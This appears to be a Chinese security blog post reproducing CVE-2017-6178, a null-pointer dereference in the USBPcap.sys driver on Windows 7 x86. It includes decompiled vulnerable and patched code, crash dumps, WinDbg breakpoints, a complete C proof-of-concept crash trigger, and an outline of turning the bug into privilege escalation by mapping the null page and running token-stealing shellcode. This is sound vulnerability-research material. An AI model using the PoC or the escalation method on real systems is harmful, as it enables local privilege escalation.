CVE-2017-6178 漏洞复现
复现CVE-2017-6178时,还是踩了很多坑的
环境
虚拟机:Win7 SP1 x86
物理机:Win10
debugger:windbg preview
compiler:vs2022
主要为了获取x86的USBPcap.sys花费了很多时间,首先根据CVE-2017-6178的漏洞描述以及exploit-db的说明,可知其实可以通过安装Wireshark-win32-2.2.5.exe得到USBPcap.sys
但是我最初的时候,通过Win7 SP x64安装,但是这样得到的是x64的USBPcap.sys(我不确定是否存在洞,最后分析完了之后看x64版本是有的,其实github上1.0.0.7里面也有洞,可是当时我没翻到这个文件🙃),于是我把x64上得到的USBPcapSetup-1.1.0.0-g794bf26-5.exe放到win7 x86上进行安装,最后得到了x86的USBPcap.sys(直接拿32位的wireshark-2.2.5.exe安装也应该可以)
这个时候就报出,需要将win7更新到安装了KB3033929的版本,但是我已经安装了,最后在USBPcap的github仓库的issue,找到了一个伪装自己已经安装了KB3033929的方法
通过创建一个内容为@echo KB3033929的findstr.cmd文件,放入c:\windows\system32目录,并将其目录下的findstr.exe修改名字,从而实现查询时,返回已安装的结果
注:这个地方,需要重命名findstr.exe的时候需要修改findstr.exe文件的own和赋予admin权限,参考这篇博客
漏洞分析
这个漏洞其实比较简单,就是在设置dispatchHandler时,对于IRP_MJ_FILE_SYSTEM_CONTROL 0x0d,这个handler中处理出错(注:sub_1145A即IRP_MJ_FILE_SYSTEM_CONTROL的handler)
int __stdcall sub_1145A(int a1, PVOID Tag)
{
_DEVICE_OBJECT *v2; // edi
int v3; // eax
_DEVICE_OBJECT *DriverObject; // ecx
NTSTATUS v6; // edi
_DEVICE_OBJECT **p_AttachedDevice; // [esp-Ch] [ebp-18h]
int v8; // [esp+14h] [ebp+8h]
v2 = *(_DEVICE_OBJECT **)(a1 + 40);
v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
v8 = v3;
if ( v3 >= 0 )
{
DriverObject = (_DEVICE_OBJECT *)v2->DriverObject;
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
p_AttachedDevice = &v2->AttachedDevice;
v6 = IofCallDriver(DriverObject, (PIRP)Tag);// vuln
IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)p_AttachedDevice, Tag, 0x18u);
return v6;
}
else
{
sub_11434((PIRP)Tag, v3, 0);
return v8;
}
}
这个地方并未判断DriverObject是否为NULL,而导致这个未初始化的值直接传入了IofCallDriver,从而出现了空指针解引用的错误
最终crash位置
Access violation - code c0000005 (!!! second chance !!!)
eax=87b91268 ebx=86ff89f0 ecx=0000000d edx=87b911f8 esi=00000000 edi=86ff89e0
eip=83e57f7b esp=8a987ac0 ebp=8a987ac8 iopl=0 nv up ei ng nz na po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010383
nt!IofCallDriver+0x57:
83e57f7b 8b4608 mov eax,dword ptr [esi+8] ds:0023:00000008=????????
POC
因为是IRP_MJ_FILE_SYSTEM_CONTROL,所以要用FILE_DEVICE_FILE_SYSTEM的IOCTL才可以
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define FILE_DEVICE_UNKNOWN 0x00000022
最终POC是直接用的 k0keoyo师傅的POC
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
HANDLE hDevice;
DWORD dwRetBytes = 0;
hDevice = CreateFile("\\\\.\\USBPcap1", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile failed (%.08x)\n", GetLastError());
return -1;
}
bResult = DeviceIoControl(hDevice, 0x00090000,(LPVOID)0x1, (DWORD)0, NULL, 0, &dwRetBytes, NULL);
if (!bResult)
{
printf("[-] DeviceIOControl failed (%.08x)\n",GetLastError());
return 0;
}
printf("[+] if show this info ,PoC is failed:(\n\n");
return 0;
}
patch
修复这个漏洞也很简单,就是判断一下这个DriverObject是不是初始化的NULL
NTSTATUS __stdcall sub_402038(int a1, PVOID Tag)
{
_DEVICE_OBJECT *v2; // ebx
int v3; // eax
NTSTATUS v4; // edi
struct _DEVICE_OBJECT *DriverObject; // ecx
v2 = *(_DEVICE_OBJECT **)(a1 + 40);
v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
v4 = v3;
if ( v3 >= 0 )
{
DriverObject = (struct _DEVICE_OBJECT *)v2->DriverObject;
if ( DriverObject )
{
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
v4 = IofCallDriver(DriverObject, (PIRP)Tag);
}
else
{
v4 = -1073741808;
sub_40201A((PIRP)Tag, -1073741808, 0);
}
IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, 0x18u);
}
else
{
sub_40201A((PIRP)Tag, v3, 0);
}
return v4;
}
调试
调试这边踩坑特别多,最初对DeviceIoControl的流程不理解的时候,下断点的时候,一直参照其他的调试驱动出错时的nt!NtDeviceIoControlFile函数中下断点
最初是以为是,自己的条件断点不熟练,以及offset=0时,这个ebp还不是后续的ebp所以出错
nt!NtDeviceIoControlFile:
840a07a9 8bff mov edi,edi
840a07ab 55 push ebp
840a07ac 8bec mov ebp,esp
840a07ae 6a01 push 1
840a07b0 ff752c push dword ptr [ebp+2Ch]
840a07b3 ff7528 push dword ptr [ebp+28h]
840a07b6 ff7524 push dword ptr [ebp+24h]
840a07b9 ff7520 push dword ptr [ebp+20h]
840a07bc ff751c push dword ptr [ebp+1Ch]
840a07bf ff7518 push dword ptr [ebp+18h]
840a07c2 ff7514 push dword ptr [ebp+14h]
840a07c5 ff7510 push dword ptr [ebp+10h]
840a07c8 ff750c push dword ptr [ebp+0Ch]
840a07cb ff7508 push dword ptr [ebp+8]
840a07ce e8a682fbff call nt!IopXxxControlFile (84058a79)
840a07d3 5d pop ebp
840a07d4 c22800 ret 28h
后来才发现是因为,这个DeviceIoControl因为是#define FILE_DEVICE_FILE_SYSTEM 0x00000009,所以走的是另外一条路,应该是在nt!NtFsControlFile中下断点
最终条件断点的指令为
bp nt!NtFsControlFile+0x25 ".printf\"IOCTL:%p\",dwo(esp+0x14);.echo;g"
bp nt!NtFsControlFile+0x25 ".if(dwo(esp+0x14)=0x00090000){}.else{gc;}"
bp nt!IofCallDriver+60 ".if(ecx=0xd){}.else{gc;}"
这个地方也可以用poi,关于dwo qwo poi的区别,多个条件的断点,echo
该POC的整个流程
为了调试弄清DeviceIoControl从用户态如何到了驱动的dispatch Handler,我在如下地方下了断点
bp kernel32!DeviceIoControl
bp kernel32!DeviceIoControlImplementation
bp kernelbase!DeviceIoControl
发现首先会断在kernel32!DeviceIoControlImplementation,再是kernel32!DeviceIoControl,最后是kernelbase!DeviceIoControl
因此该流程应该如下
用户态的DeviceIoControl
=> 内核的ntoskrnl.exe的ZwDeviceIoControl函数(通过call KiSystemService)
NTSTATUS __stdcall ZwDeviceIoControlFile(...)
{
__readeflags();
return KiSystemService(8);
}
=> 内核kernel32.dll的DeviceIoControlImplementation(通过call DeviceIoControl)
BOOL __stdcall DeviceIoControlImplementation(...)
{
DWORD v8; // esi
NTSTATUS v10; // eax
v8 = dwIoControlCode;
if ( dwIoControlCode != 0x2D4808 && dwIoControlCode != 0x74808 && dwIoControlCode != 0x90020
|| NtCurrentTeb()->ProcessEnvironmentBlock->SessionId == MEMORY[0x7FFE02D8] )
{
return DeviceIoControl(...);
}
v10 = IsTSAppCompatEnabled((BOOL *)&dwIoControlCode);
if ( v10 >= 0 )
{
if ( dwIoControlCode && !IsCallerAdminOrSystem() )
{
BaseSetLastNTError(-1073741790);
return 0;
}
return DeviceIoControl(...);
}
BaseSetLastNTError(v10);
return 0;
}
=> 内核kernel32.dll的DeviceIoControl(通过plt)
// attributes: thunk
BOOL __stdcall DeviceIoControl(...)
{
return __imp__DeviceIoControl@32(...);
}
=> 内核kernelbase.dll的DeviceIoControl,在该函数通过判断是否为FILE_DEVICE_FILE_SYSTEM而判断进NtFsControlFile还是NtDeviceIoControlFile
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define FILE_DEVICE_UNKNOWN 0x00000022
BOOL __stdcall DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped)
{
HANDLE hEvent; // eax
int v9; // eax
int Status; // eax
struct _IO_STATUS_BLOCK IoStatusBlock; // [esp+10h] [ebp-20h] BYREF
CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]
if ( !lpOverlapped )
{
if ( (dwIoControlCode & 0xFFFF0000) == 0x90000 )
Status = NtFsControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
else
Status = NtDeviceIoControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
if ( Status == 0x103 )
{
Status = NtWaitForSingleObject(hDevice, 0, 0);
if ( Status < 0 )
{
LABEL_15:
if ( (Status & 0xC0000000) != -1073741824 )
*lpBytesReturned = IoStatusBlock.Information;
BaseSetLastNTError(Status);
return 0;
}
Status = IoStatusBlock.Status;
}
if ( Status >= 0 )
{
*lpBytesReturned = IoStatusBlock.Information;
return 1;
}
goto LABEL_15;
}
....
return 0;
}
如果是NtDeviceIoControlFile的话
=> 内核 ntdll.dll 的 ZwDeviceIoControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtDeviceIoControlFile
=> 内核 ntoskrnl.exe 的 IopXxxControlFile
如果是NtFsControlFile的话
=> 内核 ntdll.dll 的 ZwFsControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtFsControlFile
=> 内核 ntoskrnl.exe 的 IopXxxControlFile
IopXxxControlFile函数会对IRP进行封装和分发,在IopXxxControlFile函数中会调用IopSynchronousServiceTail,在IopSynchronousServiceTail中会调用IofCallDriver
在IofCallDriver中,对于不同的v5调用之前驱动中设置好的dispatch Handler
NTSTATUS __fastcall IofCallDriver(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
unsigned int v4; // eax
unsigned __int8 v5; // cl
char v6; // al
void *retaddr; // [esp+Ch] [ebp+4h]
if ( pIofCallDriver )
return pIofCallDriver(DeviceObject, Irp, retaddr);
if ( --Irp->CurrentLocation <= 0 )
KeBugCheckEx(0x35u, (ULONG_PTR)Irp, 0, 0, 0);
v4 = Irp->Tail.Overlay.PacketType - 36;
Irp->Tail.Overlay.PacketType = v4;
v5 = *(_BYTE *)v4;
*(_DWORD *)(v4 + 20) = DeviceObject;
if ( v5 == 22 && ((v6 = *(_BYTE *)(v4 + 1), v6 == 2) || v6 == 3) )
return IopPoHandleIrp();
else
return DeviceObject->DriverObject->MajorFunction[v5](DeviceObject, Irp);
}
其汇编为call dword ptr [eax+ecx*4+38h] : ecx = 0xd,而0xd正是IRP_MJ_FILE_SYSTEM_CONTROL
因此对于当前这个POC,其整个DeviceIoControl的流程为
UserMode!DeviceIoControl
-> ntoskrnl!ZwDeviceIoControl
-> kernel32!DeviceIoControlImplementation
-> kernel32!DeviceIoControl
-> kernelbase!DeviceIoControl
-> ntdll!ZwFsControlFile
-> ntoskrnl!NtDeviceIoControlFile
-> ntoskrnl!IopXxxControlFile
-> ntoskrnl!IopSynchronousServiceTail
-> ntoskrnl!IofCallDriver
-> USBPcap!IRP_MJ_FILE_SYSTEM_CONTROL_dispatch_handler
EXP
最后这个crash位置是83e57f7b 8b4608 mov eax,dword ptr [esi+8]
而此时,esi=0x0,这个内存不存在,因此出错,而win7还可以对0地址进行分配内存,因此可以直接在0地方分配内存,则最后会call [eax+ecx*4+38h],而此时,ecx=0xd,因此相当于call [0x6c]
nt!IofCallDriver+0x57:
83e74f7b 8b4608 mov eax,dword ptr [esi+8]
83e74f7e 52 push edx
83e74f7f 0fb6c9 movzx ecx,cl
83e74f82 56 push esi
83e74f83 ff548838 call dword ptr [eax+ecx*4+38h]
按照之前的HEVD写个shellcode,steal token就可以提权,最后注意能使流程正常返回即可
总结
其实漏洞比较简单,就是在整个过程的环境搭建和调试磨了很长时间,然后熟悉了一下DeviceIoControl的整个调用链
参考
https://www.anquanke.com/post/id/86203
https://www.exploit-db.com/exploits/41542
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!